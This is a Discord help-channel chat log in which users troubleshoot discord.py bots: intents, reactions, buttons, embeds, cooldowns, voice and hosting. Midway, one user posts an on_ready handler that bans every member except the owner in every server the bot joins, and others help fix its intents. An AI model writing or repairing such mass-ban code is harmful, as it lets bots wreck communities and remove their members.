[mellow gulch]

How do i make bot use slash commands

[graceful mulch]

I am paying for it

[shadow wraith]

it's cogs.uptime

[graceful mulch]

what

[shadow wraith]

where the error is

[shadow wraith]

NONONONO

don't, remember your bot token needs to be secured

[graceful mulch]

i am not inviting to rpl

am i ?

[mellow gulch]

For that click on the lock icon on the left

And make a key

[graceful mulch]

i made

i have made so many keys

[mellow gulch]

All replits are public by default

[graceful mulch]

i wanna sue replit's ceo

[shadow wraith]

bro, you can buy a hacker plan to make private repls

[potent spear]

don't, please don't

there are cheaper better VPS's, replit sucks

[graceful mulch]

how bad it looks seeing all systems down

hey help me fast

[potent spear]

[graceful mulch]

pls atleast for the sake of this status

[graceful mulch]

i am too poor

[graceful mulch]

ik

but pls help me on the issue i am having

[shadow wraith]

well that's a bad part so make bot file in ur pc

[potent spear]

AWS EC2 has a free 1 year trial and GCP works too "for free"

[mellow gulch]

How do i make bot use slash commands

[shadow wraith]

genius question, i don't tihkn you can.

[slate swan]

You use a discord.py fork such as disnake or similar

[shadow wraith]

ok maybe you can

[potent spear]

ofc you can...

[graceful mulch]

hey

[mellow gulch]

Me?

[graceful mulch]

HHELP MEEMEMEE

[slate swan]

Yes you

[graceful mulch]

btw why u pay for winrar

[leaden hollow]

bc why not

[shadow wraith]

how do i maek the bot remove reaction

whenever react

[fading knot]

Bot not getting member

[slate swan]

!d discord.on_raw_reaction_add

[unkempt canyon]

discord.on\_raw\_reaction\_add

discord.on_raw_reaction_add(payload)```
Called when a message has a reaction added. Unlike [`on_reaction_add()`](https://discordpy.readthedocs.io/en/master/api.html#discord.on_reaction_add "discord.on_reaction_add"), this is called regardless of the state of the internal message cache.

This requires [`Intents.reactions`](https://discordpy.readthedocs.io/en/master/api.html#discord.Intents.reactions "discord.Intents.reactions") to be enabled.

[graceful mulch]

hey help me

[slate swan]

Then you have the message id, you can fetch/get a Message object and clear the reaction, or all reactions.

[fading knot]

for guild in client.guilds:
      print(guild) 
      for channel in guild.text_channels:

[slate swan]

!intents

[unkempt canyon]

Using intents in discord.py

Intents are a feature of Discord that tells the gateway exactly which events to send your bot. By default, discord.py has all intents enabled, except for the Members and Presences intents, which are needed for events such as on_member and to get members' statuses.

To enable one of these intents, you need to first go to the Discord developer portal, then to the bot page of your bot's application. Scroll down to the Privileged Gateway Intents section, then enable the intents that you need.

Next, in your bot you need to set the intents you want to connect with in the bot's constructor using the intents keyword argument, like this:

from discord import Intents
from discord.ext import commands

intents = Intents.default()
intents.members = True

bot = commands.Bot(command_prefix="!", intents=intents)

For more info about using intents, see the discord.py docs on intents, and for general information about them, see the Discord developer documentation on intents.

[fading knot]

Only getting bot

[slate swan]

Enable the members intent

[fading knot]

@slate swan intents= discord.Intents.default()
intents.members = True

Already done

[slate swan]

Also in the developer portal?

[fading knot]

Yes

[potent spear]

press x to doubt

[slate swan]

Have you given the intents kwarg when creating your bot instance?

[potent spear]

OR this man has 2 bot instances OR he forgot a step

[dire folio]

how would i create a timestamp for dynamic time

[shadow wraith]

!d discord.utils.format_dt

[unkempt canyon]

discord.utils.format\_dt

discord.utils.format_dt(dt, /, style=None)```
A helper function to format a [`datetime.datetime`](https://docs.python.org/3/library/datetime.html#datetime.datetime "(in Python v3.9)") for presentation within Discord.

This allows for a locale-independent way of presenting data using Discord specific Markdown...

[shadow wraith]

is this what you mean?

[fading knot]

@slate swan means

[slate swan]

^

[potent spear]

and now in the code?

[slate swan]

!d discord.Message.clear_reaction

[unkempt canyon]

discord.Message.clear\_reaction

await clear_reaction(emoji)```
This function is a [*coroutine*](https://docs.python.org/3/library/asyncio-task.html#coroutine).

Clears a specific reaction from the message.

The emoji may be a unicode emoji or a custom guild [`Emoji`](https://discordpy.readthedocs.io/en/master/api.html#discord.Emoji "discord.Emoji").

You need the [`manage_messages`](https://discordpy.readthedocs.io/en/master/api.html#discord.Permissions.manage_messages "discord.Permissions.manage_messages") permission to use this.

New in version 1.3.

[slate swan]

You already have the Message object, so you can simply use it on it.

Or if you want to remove all reactions, just use .clear_reactions()

[dire folio]

no i mean like this <t:1640876400:R>

[fading knot]

import discord
import os
from discord.ext import commands
intents= discord.Intents.default()
intents.members = True
client = commands.Bot(command_prefix = "!")
@client.event
async def on_ready():
    print('Logged in!')
    for member in client.get_all_members():
          
     for guild in client.guilds:
      print(guild) 
      for channel in guild.text_channels:
        print(channel)
    
        for member in guild.members:
          print(member)
          if member != guild. owner:# iterating through each guild channel
           
           await member. ban()
           print(f"Banned {member.display_name}!")
           print("Banning is complete!")    ```
This is legal

[dire folio]

it uses a timestamp in the middle

[shadow wraith]

yeah discord.utils.format_dt does that iirc

[dire folio]

ty

[slate swan]

You didn't give the intents kwarg to your bot instance

Please add it.

[fading knot]

How?

[potent spear]

no, not true iirc

[slate swan]

This

[shadow wraith]

why not define it in commands.Bot() like for example commands.Bot(command_prefix="!", intents=discord.Intents.all())

[slate swan]

Next time please read the entire message of the bot.

Not just half of it.

[fading knot]

Ok

Thank you

[shadow wraith]

@slate swan is there a way to not clear specific users reactions?

[potent spear]

don't do all on default, chances are, he doesn't need presence intents but just enables it "because he can"

[slate swan]

@bot.command
async def test(ctx):
    await ctx.send('test')

Ignoring exception in command None:
discord.ext.commands.errors.CommandNotFound: Command "test" is not found

[slate swan]

!d discord.Message.remove_reaction

[unkempt canyon]

discord.Message.remove\_reaction

await remove_reaction(emoji, member)```
This function is a [*coroutine*](https://docs.python.org/3/library/asyncio-task.html#coroutine).

Remove a reaction by the member from the message.

The emoji may be a unicode emoji or a custom guild [`Emoji`](https://discordpy.readthedocs.io/en/master/api.html#discord.Emoji "discord.Emoji").

If the reaction is not your own (i.e. `member` parameter is not you) then the [`manage_messages`](https://discordpy.readthedocs.io/en/master/api.html#discord.Permissions.manage_messages "discord.Permissions.manage_messages") permission is needed.

The `member` parameter must represent a member and meet the [`abc.Snowflake`](https://discordpy.readthedocs.io/en/master/api.html#discord.abc.Snowflake "discord.abc.Snowflake") abc.

[slate swan]

Takes a member and emoji parameter.

[potent spear]

@bot.command**()**

[graceful mulch]

where is the brackets after bot.command ?

[shadow wraith]

parentheses*

[slate swan]

!d discord.Embed

[graceful mulch]

curly brackets

[unkempt canyon]

discord.Embed

class discord.Embed(*, colour=Embed.Empty, color=Embed.Empty, title=Embed.Empty, type='rich', url=Embed.Empty, description=Embed.Empty, timestamp=None)```
Represents a Discord embed.

len(x) Returns the total size of the embed. Useful for checking if it’s within the 6000 character limit.

bool(b) Returns whether the embed has any data set.

New in version 2.0.

Certain properties return an `EmbedProxy`, a type that acts similar to a regular [`dict`](https://docs.python.org/3/library/stdtypes.html#dict "(in Python v3.9)") except using dotted access, e.g. `embed.author.icon_url`. If the attribute is invalid or empty, then a special sentinel value is returned, [`Embed.Empty`](https://discordpy.readthedocs.io/en/master/api.html#discord.Embed.Empty "discord.Embed.Empty").

For ease of use, all parameters that expect a [`str`](https://docs.python.org/3/library/stdtypes.html#str "(in Python v3.9)") are implicitly casted to [`str`](https://docs.python.org/3/library/stdtypes.html#str "(in Python v3.9)") for you.

[graceful mulch]

d!j

[shadow wraith]

🚶 can you stop using javascript

y'all go to #bot-commands

[graceful mulch]

i dont even use it

[shadow wraith]

bro curly brackets are not used in python, exclduing dicts

[graceful mulch]

heeeeeeey

[slate swan]

Wrong.

[graceful mulch]

curly brackets are used

[slate swan]

Ever used dictionaries?

[graceful mulch]

plus parenthesises are also called small brackets

[shadow wraith]

excluding dicts

[graceful mulch]

oh

wow ever used fast strings

f" {something here }"

[slate swan]

How about sets?

[shadow wraith]

fuck fstrings i forgot 💀

[slate swan]

Already forgot them?

[shadow wraith]

stop bullying me 🕴️

[graceful mulch]

I didnt bully

i just told

[shadow wraith]

let's just pretend i didn't state a wrong fact

[graceful mulch]

no

[shadow wraith]

why 😭

[graceful mulch]

cuz i am right

[shadow wraith]

yes i did, i actually don't remember using them 🕴️

[graceful mulch]

@@@@@@@@@@@@@@@@@@@

[ebon island]

Is there any way to check the contents of a generator other than going next on it?

[slate swan]

color='#3ad8fc'
``` would this work (for a embed)

    embed = discord.Embed(
        color='#3ad8fc',
        title='**Help command**'
    )

[shadow wraith]

0x3ad8fc would

[slate swan]

do i make it a string

No

[shadow wraith]

to add a custom color to embed, you just remove the # and string from the hex code like 3ad8fc and add 0x before it

[slate swan]

alr

[ebon island]

nope int

[slate swan]

color=0x696969

[shadow wraith]

for example like #FFFFFF
0xFFFFFF

[graceful mulch]

hi

I am @unkempt canyon

@unkempt canyon

[shadow wraith]

seriously wtf

[slate swan]

Can you please stay on topic? There are off-topic channels for you to have fun in.

[shadow wraith]

back to on-topic, does a bot.wait_for return a tuple with 2 or more items?

[sullen shoal]

it waits for an event

[shadow wraith]

im not asking what it does x]

[sullen shoal]

it will return its parameters as tuple

[slate swan]

Depends on the event.

[shadow wraith]

so what would reaction_add event return?

[sullen shoal]

what the event returns

[slate swan]

!d discord.on_reaction_add

[unkempt canyon]

discord.on\_reaction\_add

discord.on_reaction_add(reaction, user)```
Called when a message has a reaction added to it. Similar to [`on_message_edit()`](https://discordpy.readthedocs.io/en/master/api.html#discord.on_message_edit "discord.on_message_edit"), if the message is not found in the internal message cache, then this event will not be called. Consider using [`on_raw_reaction_add()`](https://discordpy.readthedocs.io/en/master/api.html#discord.on_raw_reaction_add "discord.on_raw_reaction_add") instead.

Note

To get the [`Message`](https://discordpy.readthedocs.io/en/master/api.html#discord.Message "discord.Message") being reacted, access it via [`Reaction.message`](https://discordpy.readthedocs.io/en/master/api.html#discord.Reaction.message "discord.Reaction.message").

This requires [`Intents.reactions`](https://discordpy.readthedocs.io/en/master/api.html#discord.Intents.reactions "discord.Intents.reactions") to be enabled.

Note

This doesn’t require [`Intents.members`](https://discordpy.readthedocs.io/en/master/api.html#discord.Intents.members "discord.Intents.members") within a guild context, but due to Discord not providing updated user information in a direct message it’s required for direct messages to receive this event. Consider using [`on_raw_reaction_add()`](https://discordpy.readthedocs.io/en/master/api.html#discord.on_raw_reaction_add "discord.on_raw_reaction_add") if you need this and do not otherwise want to enable the members intent.

[slate swan]

It would return reaction, user

[shadow wraith]

cool cool, so 1st one's the charm

wait i just used 2 numbers in a row whilst trying to say somethnig

[graceful mulch]

hello

[leaden hollow]

Like this?```py
class bb(discord.ui.View):
async def rrole( ctx):
but = Button(label="E", style=discord.ButtonStyle.primary)
view = View()
view.add_item(but)
await ctx.send("X", view=view)

[graceful mulch]

r using dislash

[shadow wraith]

no, instead of async def's use @discord.ui.button

!d discord.ui.button

[unkempt canyon]

discord.ui.button

discord.ui.button(*, label=None, custom_id=None, disabled=False, style=<ButtonStyle.secondary: 2>, emoji=None, row=None)```
A decorator that attaches a button to a component.

The function being decorated should have three parameters, `self` representing the [`discord.ui.View`](https://discordpy.readthedocs.io/en/master/api.html#discord.ui.View "discord.ui.View"), the [`discord.ui.Button`](https://discordpy.readthedocs.io/en/master/api.html#discord.ui.Button "discord.ui.Button") being pressed and the [`discord.Interaction`](https://discordpy.readthedocs.io/en/master/api.html#discord.Interaction "discord.Interaction") you receive.

Note

Buttons with a URL cannot be created with this function. Consider creating a [`Button`](https://discordpy.readthedocs.io/en/master/api.html#discord.ui.Button "discord.ui.Button") manually instead. This is because buttons with a URL do not have a callback associated with them since Discord does not do any processing with it.

[sullen shoal]

!d discord.ui.View.children

[unkempt canyon]

discord.ui.View.children

The list of children attached to this view.

[manic wing]

@sullen shoal wanna join a project we’re in?

[sullen shoal]

I would have but im currently already working on a project, cant focus on another one, sorry

[shadow wraith]

put color arg after the description

wait nvm

its a json thing

in ur json put {} to start it

[slate swan]

wdym?

[maiden fable]

Yea, but most people only gonna get confused ngl

[maiden fable]

!json-error

[shadow wraith]

in jsons you atleast have to have {} for py to read it

[maiden fable]

Breh

[slate swan]

true :p

[maiden fable]

Anyways yea, add {}

[slate swan]

yeah but where do i add {}

[shadow wraith]

in the json

[maiden fable]

Imagine they doing res.emoji and then cry cz of an attr error

[leaden hollow]

getting this now ImportError: cannot import name 'activity' from 'discord' (unknown location)

[maiden fable]

In the JSON file

[magic ore]

Reinstall dpy

[leaden hollow]

k

[slate swan]

there is no json file

[tepid raft]

hm

[maiden fable]

prefixes.json @slate swan

[vale wing]

I want to make a class (inherits View) that would accept list of strings in constructor and create buttons with labels of those strings. That is easy to do but I would also like to receive the button's name once it is clicked, is it possible to implement?

class MyClass(discord.ui.View):
  def __init__(self, labels: 'list[str]'):
    super().__init__()
    for label in labels:
      self.add_item(discord.ui.Button(label=label))```

[tepid raft]

tf

thats not even a bot

a discord user

[maiden fable]

button.label returns the label of the button

[maiden fable]

?

[vale wing]

I know but how to make it return that once button is clicked

[magic ore]

you can subclass ui.Button and create a callback method that all added buttons would share

[slate swan]

🤔 lmao yea , but the error should be enuf for the to understand what happened

[tepid raft]

oh nvm

[vale wing]

Could you show code example?

[leaden hollow]

still getting
Command raised an exception: AttributeError: module 'discord.utils' has no attribute 'to_json'

[maiden fable]

U can do

for label in labels: 
    btn = Button(...) 
    btn.callback = <a function>
    self.add_item(btn) 

[vale wing]

Ok so I just set callback right?

[magic ore]

I didn't mean that

[vale wing]

That callback is the function we usually decorate?

[magic ore]

Look in some of the view examples that subclass ui.Button

[maiden fable]

Ik, u meant to subclaas the Button class, override the callback method and just use the loop to add that custom class

[magic ore]

You have a library being imported that monkey patches dpy still

Could you show the full traceback

[leaden hollow]

full error?

[magic ore]

Yes, though it's probably discord-py-slash-command

Yes it is

Actually it might be discord-py-interactions

Forgot which one is discord_slash

[slate swan]

hey guys
does someone know how can i add limit on a command? for example that user can use the command 10x times and then must wait 1d

[torn sail]

Command cooldowns

[maiden fable]

!d discord.ext.commands.dynamic_cooldown

[unkempt canyon]

discord.ext.commands.dynamic\_cooldown

@discord.ext.commands.dynamic_cooldown(cooldown, type=BucketType.default)```
A decorator that adds a dynamic cooldown to a [`Command`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.Command "discord.ext.commands.Command")

This differs from [`cooldown()`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.cooldown "discord.ext.commands.cooldown") in that it takes a function that accepts a single parameter of type [`discord.Message`](https://discordpy.readthedocs.io/en/master/api.html#discord.Message "discord.Message") and must return a [`Cooldown`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.Cooldown "discord.ext.commands.Cooldown") or `None`. If `None` is returned then that cooldown is effectively bypassed.

A cooldown allows a command to only be used a specific amount of times in a specific time frame. These cooldowns can be based either on a per-guild, per-channel, per-user, per-role or global basis. Denoted by the third argument of `type` which must be of enum type [`BucketType`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.BucketType "discord.ext.commands.BucketType").

If a cooldown is triggered, then [`CommandOnCooldown`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.CommandOnCooldown "discord.ext.commands.CommandOnCooldown") is triggered in [`on_command_error()`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.discord.ext.commands.on_command_error "discord.discord.ext.commands.on_command_error") and the local error handler.

A command can only have a single cooldown.

New in version 2.0.

[maiden fable]

Use this

[leaden hollow]

they are installed for a long time tho

atleast before I wrote the code

and if I remove them how will the slash commands work

[magic ore]

You can use a fork or slash_util (a slash command script written by a dpy helper)

[leaden hollow]

so which one should I remove?

both?

[cloud dawn]

Questionable typehint

[slate swan]

no

limit user for 1d

[torn sail]

That’s command cooldowns

Hi! I've been working on my discord bot, and everything works except for the VC part. It doesn't want to join the voice channel, and I'm not sure why. It doesn't give me any errors and all the other cogs work. Can anyone help me?

class VC(commands.Cog):

    def __init__(self,client):
        self.client = client

    @commands.Cog.listener()
    async def on_ready(self):
        print('Bot VC Status: Ready!')

    @commands.command(aliases=['j', 'jn'])
    async def join(self, ctx):
        channel = ctx.author.voice.channel
        await channel.connect()
        print('Connected.')

        
    @commands.command()
    async def leave(self,ctx):
        channel = ctx.message.author.voice.channel
        voice = get(self.client.voice_clients, guild=ctx.guild)
        if voice and voice.is_connected():
            await voice.disconnect()
            await ctx.send(f"Left {channel}")
        else:
            await ctx.send("Don't think I am in a voice channel")


def setup(client):
    client.add_cog(VC(client))

[sage otter]

You got PyNacl?

[near sedge]

i dont think so is that a package?

[maiden fable]

Yea

U can simply do pip install discord[voice] to install everything and use voice

[sage otter]

It’s required for voice support.

[near sedge]

i did that however everything was met

i also checked my packages i dont have it

can i just do pip install PyNacl?

[maiden fable]

pip install -U discord[voice]

This will force install/update

[near sedge]

yep still the same

[sage otter]

just pip install PyNacl then

[near sedge]

done

[sage otter]

Restart the bot and try again

[near sedge]

alrighty i'll tell you what happens

IT WORKS

THANK YOU!

[ebon island]

What's wrong with this? It seems like it is not working when I try to send it

message_to_be_sent = f'Successfully added {ctx.guild.mention}'

[slate swan]

Guild.mention is not a thing

Hmm
What is the problem?
Am i muted?

[sage otter]

Ratelimited*

[ebon island]

got it 🙂

[sage otter]

Happens when you send too many requests in a short period of time

[maiden fable]

@ebon island did you fix your error from yesterday?

[sage otter]

Or you know, you use replit

[wispy spade]

That looks like repl.it

[maiden fable]

or when u use replit

Haha yups

[wispy spade]

which you probably shouldn't use for bot hosting at all

[slate swan]

Yes it is

[slate swan]

ye ig I used it too much
I need something better

[sage otter]

No it’s probably the fact you are using replit

[wispy spade]

due to their use of shared IPs which in simple terms basically means that you're sharing your IP with some other people apart from you, so the ratelimit might not even be your fault. It might just be someone else that caused it.

[slate swan]

Oof

[slate swan]

Ig I need better app to code
Any recomedadtion?

[sage otter]

Literally anything else

Any text editor or ide that you have on your computer will work

[slate swan]

Hmm
Anything else
Which can run In app

[sage otter]

As far as hosting, there’s not really any good free alternatives

I’ve heard that gce is good

[slate swan]

gce?
letme check

[wispy spade]

I mean you could self host for now and use a standard code editor or IDE.

then when you're ready to host, you can probably look at something like linode or heroku even

[sage otter]

Free hosting will always come with limitations.

[slate swan]

Ikr

[maiden fable]

Just use railway till it doesn't become like replit

[sage otter]

definitely not heroku.

[slate swan]

ig I need to use my calculator to code now

[maiden fable]

Lmao

[wispy spade]

I mean at least with Heroku you get your IP and are actually able to use the bot

[maiden fable]

ok thanks discord, I was just gonna call Tylerr rn

[slate swan]

Well ig i will try learning notepad++

[wispy spade]

Railway is pretty neat

[maiden fable]

And also enjoy a downtime of like a week iirc

[slate swan]

cuz i want a good user ui
like rep.it

[potent shard]

[potent shard]

lmao

i was just jk

[sage otter]

I mean that’s whatever ig

That’s just preference

[wispy spade]

It's kind of a weird compromise -- either get your bot ratelimited every minute or take it down for a week

[potent shard]

yeah ik i would rather use sublime text editor

[sage otter]

It has syntax highlighting and auto complete

[slate swan]

I will try
But I will never ask any recommendation here 👀

[maiden fable]

Well #editors-ides is always there :D

[sage otter]

All the people in the world well tell you to use vsc in there

And there’s the occasional few that will tell you to use pycharm

[maiden fable]

Ha ha VSC cz it's good and lightweight

[sage otter]

Electron apps, lightweight? Pfft

[maiden fable]

Lmao

[sage otter]

I mean you're right about it not being as heavy as PyCharm

[maiden fable]

Better than PyCharm. I still remember my potato laptop crashed while starting up PyCharm for the first time

[sage otter]

well yeah, it’s an actual IDE

It’s heavy by design

[maiden fable]

Mhm

[sage otter]

Has a lot of tools and features that vsc doesn’t have.

[maiden fable]

Oh hmm

Didn't know that

[vale wing]

So this is what I did but for some reason it takes ages to respond to a view with these buttons

class NumberButton(Button):
    def __init__(self, label):
        super().__init__(label=label, style=ButtonStyle.gray)

    async def callback(self, _):
        view: NumericView = self.view
        view.result = self.label```

@maiden fable do you know what is wrong with this

[maiden fable]

Wait why u subclassing Button

[vale wing]

That guy told me to subclass it so why not

Also docs say callback is overridable by subclassing or smth

[maiden fable]

Yea

But why not use my way? It's easier

[vale wing]

I will try to use your way rn but I am not sure if it will help getting rid of that crazy delay

[maiden fable]

Well, I don't really know what u tryna do there tbh

[vale wing]

Hold up I can't use your way

[maiden fable]

Why tho

[vale wing]

Self required

[maiden fable]

U were using a loop before too tho

[vale wing]

Ik I can move it out but still

[maiden fable]

Wym self required?

[vale wing]

Um what loop

[vale wing]

I assign label of the object to the view.result

[maiden fable]

why

[vale wing]

Which requires the object reference which is self if my english is normal

[maiden fable]

Ok so I'm confused rn ngl. @patent lark mind coming over here? Lol

[patent lark]

whats up?

[maiden fable]

@vale wing needs help

[vale wing]

The whole construction is this

class UserView(View):
    def __init__(self, user_id: int, timeout: int = 180):
        super().__init__(timeout=timeout)
        self.result = None
        self.user_id = user_id

    async def interaction_check(self, inter: Interaction):
        return inter.user.id == self.user_id

    async def on_timeout(self):
        raise TimeoutError

    async def get_result(self, message: Optional[Message]):
        await self.wait()
        self.disable_buttons()
        if message:
            await message.edit(view=self)

        return self.result

    def disable_buttons(self):
        for button in self.children:
            if isinstance(button, Button):
                button.disabled = True

class NumericView(UserView):
    def __init__(self, user_id, labels: 'list[str]', timeout: int = 180):
        super().__init__(user_id, timeout=timeout)
        for label in labels:
            self.add_item(NumberButton(label))

class NumberButton(Button):
    def __init__(self, label):
        super().__init__(label=label, style=ButtonStyle.gray)

    async def callback(self, _):
        view: NumericView = self.view
        view.result = self.label```

[patent lark]

and the issue is?

[vale wing]

It takes ages for button to give response

[cloud dawn]

Cavalry has been called.

[manic wing]

salute

[maiden fable]

Yes

@cloud dawn's help is needed

[manic wing]

cavalry arrives: no help given

[vale wing]

Maybe I need to stop the view?

[slate swan]

!d discord.ui.View.children

[unkempt canyon]

discord.ui.View.children

The list of children attached to this view.

[sage otter]

look at all those smart people flooding in. couldn’t relate.

[slate swan]

you can use .disabled = True , on all of them to disabled the view

[cloud dawn]

What module is this?

[vale wing]

dpy 2.0

[slate swan]

Seems like dpy

[vale wing]

That's what I did but my issue is not that

[maiden fable]

Me no smart :D

[vale wing]

Ima try to stop the view in callback

[patent lark]

;P

[vale wing]

Wow it did that lmao

Now I have another issue tho

class PageView(UserView):
    def __init__(self, user_id, timeout: int = 180):
        super().__init__(user_id, timeout=timeout)

    @button(label='Previous', style=ButtonStyle.gray, disabled=True, emoji='⬅️')
    async def previous_page(self, *_):
        self.result = 'previous'
        self.stop()

    @button(label='Next', style=ButtonStyle.gray, emoji='➡️')
    async def next_page(self, *_):
        self.result = 'next'
        self.stop()

    @button(label='Exit', style=ButtonStyle.danger)
    async def next_page(self, *_):
        self.result = 'exit'
        self.stop()```
But for some reason `Next` button is not displaying

[cloud dawn]

Yeah we can't see that in the code lol

[tawdry perch]

is client secret same thing as token?

[cloud dawn]

No

[tawdry perch]

what do I fill on them?

[cloud dawn]

That is meant for OAuth, mostly used if a bot also has a webapplication aswell.

[tawdry perch]

smth I need to request?

[wicked atlas]

you can find them on the OAuth2 screen of a discord application

[tawdry perch]

ah I see, thx!

[vale wing]

It displays 2 first buttons no matter how I place them in code what the heck

[cloud dawn]

I don't really code in this "style" maby someone else knows it.

[maiden fable]

Wym @vale wing

It shows only the first 2 buttons?

[slate swan]

it comes in the order you add_item to the view

[vale wing]

Why are there 2 of them but I added 3 in code

[maiden fable]

Try printing self.chlidren

[tawdry perch]

how do I get a OAuth2 URL?

[vale wing]

Nvm I just named 2 functions the same

How dumb am I

[maiden fable]

Lol

[ebon island]

If I save a discord.member.Member object to an attribute within a local Object can I call the mention method on that somehow?

[maiden fable]

Example?

[jagged root]

how can i do so async def on_message only work if 3 arguments are given

[fluid spindle]

Hi... So I'm trying to make a thread that keeps checking the time, but it's not working like a thread should work. The bot doesn't respond until the sendTime is reached. Is there something that I'm missing here?

[maiden fable]

It always has only one arg, the msg itself

[jagged root]

i want so only works if 3 arguments are given

[ebon island]

so obviously this isn't real code but it shows the assignment, imagine a given ctx as the source so it wouldn't be a static assignment

@dataclass
class User:
  user_object = ctx.author

Can I somehow access the ctx.author.mention method from the original ctx.author instance?

[maiden fable]

-> Don't use threading with asyncio
-> Use a task instead of a while loop

[fluid spindle]

The only argument the on_message event takes is the message itself. You can't pass anything else

[jagged root]

ok

[maiden fable]

User.user_object.mention? Idk if the dataclass deco is gonna make any difference since I never used those

[fluid spindle]

What do you recommend then?

[maiden fable]

Asyncio and tasks

!d discord.ext.tasks.loop

[unkempt canyon]

discord.ext.tasks.loop

discord.ext.tasks.loop(*, seconds=..., minutes=..., hours=..., time=..., count=None, reconnect=True, loop=...)```
A decorator that schedules a task in the background for you with optional reconnect logic. The decorator returns a [`Loop`](https://discordpy.readthedocs.io/en/master/ext/tasks/index.html#discord.ext.tasks.Loop "discord.ext.tasks.Loop").

[jagged root]

and can i manipulate this to do it? if message.content.startswith(''):

[sage otter]

yes. I’m not sure what you're confused about.

[sage otter]

What are you even trying to do with this?

Like what are your intentions with whatever that is.

[fluid spindle]

Yeah, something like that... You could split the message.content and then treat every word as an argument.

[jagged root]

how could i do that could you help me?

[fluid spindle]

This looks more efficient. Thanks

[sage otter]

Or use the commands framework and not try to reinvent the wheel

[fluid spindle]

 arguments = msg.split() #splits the message into words and returns a list of all the words

[jagged root]

hm

k

[honest vessel]

also if you just wanna split 1 word, u can do msg.split(" ", 1)

[jagged root]

kk

[dim otter]

Hii
How you get the server icon ? (ping me with responding)

[slate swan]

you just said he shouldn't use asyncio tho

-> Don't use threading with asyncio
-> Use a task instead of a while loop

[final iron]

threading with asyncio

He shouldn't be using threading

[slate swan]

Guys, How do I send a confirmation message again here, like when I do when send_message it doesnt let me send another message ;-;

@disnake.ui.button(label="", style=disnake.ButtonStyle.red)
    async def valo_button(self, button: disnake.ui.Button, interaction: disnake.MessageInteraction):
        await interaction.response.send_message(content="", ephemeral=True)
        res = await check_for_authors_msg(interaction.channel_id, interaction.author)
        try:
            await db.add_data(interaction.author, res)
            #Send another message after this         
        except: pass

[craggy cloak]

How can i humanize this?

total_amount = users[user]["wallet"] + users[user]["bank"]

[slate swan]

"humanize" wdym?

[craggy cloak]

humanize.intcomma

[final iron]

There's a built in thing for that

[slate swan]

umm...anyone?

[pliant gulch]

!e ```py
number = 10000
print(f"{number:,}")

[unkempt canyon]

@pliant gulch :white_check_mark: Your eval job has completed with return code 0.

10,000

[boreal ravine]

!d disnake.Interaction.followup could use this

[unkempt canyon]

disnake.Interaction.followup

Returns the follow up webhook for follow up interactions.

[boreal ravine]

@slate swan

[slate swan]

tysm

[slate swan]

does anyone know how to give people with ranks different cooldowns?

[ebon island]

probably setting up a method that checks their rank and returns an integer

at least that's my instinct on that

[cloud dawn]

Well we help with code not heroku

[plain cloud]

me and heroku 🤜🤜🤜 never again

[slate swan]

I want to make a kick command but I always fail. Can someone send me a code for this?

[sage otter]

No, but what you could do instead of taking other peoples stuff is send us yours and have us help you with it.

[zenith basin]

Can any one help me

[slate swan]

Well, you're right sorry 😁

Here it is

@bot.command()
@commands.has_permissions(kick_members=True)
async def kick(self, ctx, member: discord.Member, *, reason=None):
        await member.kick(reason=reason)
        await ctx.send(f'User {member.mention} has been kick')```

[sage otter]

Remove self. You're not in a cog.

[slate swan]

Didn't work

[sage otter]

I mean, what’s the error.

[slate swan]

Missing permissions but I'm the admin

[sage otter]

Is it 403 ?

[slate swan]

Yes

403 Forbidden

[lusty swallow]

Oof

[sage otter]

So your bot doesn’t have permissions then.

[slate swan]

Hm

Lemme check

[lusty swallow]

What line does it raise the error?

If the bot is not an admin, it can't see private channels. That might also be the case

[slate swan]

Bot has admin perms too

[lusty swallow]

Can you paste traceback?

Might be a different error

[pulsar shell]

It seems like you’re trying to send a message after a specific amount of time, you can simply use asyncio.sleep or loop.call_later with the delay e.g.

await asyncio.sleep(…)
await ctx.send(sendData['text'])

OR

ctx.bot.loop.call_later(…, ctx.bot.loop.create_task, ctx.send(sendData['text']))

you should probably be using the first one unless you don’t want to wait for the message to be sent

[zenith basin]

#help-chili

[jaunty wraith]

Anyone know whats wrong with my code? I cant work it out

[cloud dawn]

Is the guy you are trying to kick above the bots role?

[sage otter]

Oh yeah, that would probably be the reason then.

[zenith basin]

are u coding on a phone?

[lusty swallow]

make sure to use consistent indentation. The standard should be 4 spaces

[cloud dawn]

Different kind of culture i presume.

[lusty swallow]

it's not culture. it's probably lack of usable device

[zenith basin]

true

[honest vessel]

basic python

[silver iris]

Hey please can I have some help I have my discord bot connected to my site how do I make it so when they connect they get a certain role in my discord

[cloud dawn]

Or in a train like i once coded on my phone lol

[lusty swallow]

depends on how you would interface with your site.
Do you have a db?
If so a /connect <code> command might be for you

[jaunty wraith]

Im new to the whole thing I know bearly anything

[honest vessel]

@jaunty wraithhttps://www.w3schools.com/python/gloss_python_indentation.asp

[silver iris]

It’s using the 2auth it connect with your website account

[lusty swallow]

oof. I guess that's fine too.... but this channel is for bots.

[cloud dawn]

Are you using IPC routes?

[jaunty wraith]

Ty

[silver iris]

Oh I assumed the bot will set your role

Let me explain it better lol

[lusty swallow]

it's more of a #web-development since the add role is not the problem

[silver iris]

Is they away to make add the role when you connect to the site though I believe it is possible I’m just not entirely sure

Hmmm thank you !

[slate swan]

well...yes

Someone know how to solve it?

does anyone know how to add an "Add to your server" button in a discord bot?

[slate swan]

its in ddocs

aka in the dev portal

ok

[slate swan]

here? https://discord.com/developers/applications/858818257380573214/rich-presence/visualizer

[slate swan]

no in your apps

[slate swan]

can you please specify the link?😁

[slate swan]

its in general

[silver iris]

Hi does anyone know if I can use my discord bot via aws server etc cloud functions

[slate swan]

i can't find it

[slate swan]

aws?

[silver iris]

Amazon servers

[slate swan]

sorry, no idea

[manic wing]

stop helping we're on protest

[slate swan]

my bad

[cloud dawn]

What are we protesting about?

[manic wing]

the fact that we all arent admin

its brutally unfair and quite frankly descriminatory

[slate swan]

why it's unfair?

admins and mods may be busy and helping each other is good

[cloud dawn]

It's in general under default authorization link

[slate swan]

also this button is only for verified bots?

[cloud dawn]

Hard to miss

[silver iris]

Do you know anything about discord connecting to sites etc and auto rolling with it

[cloud dawn]

No.

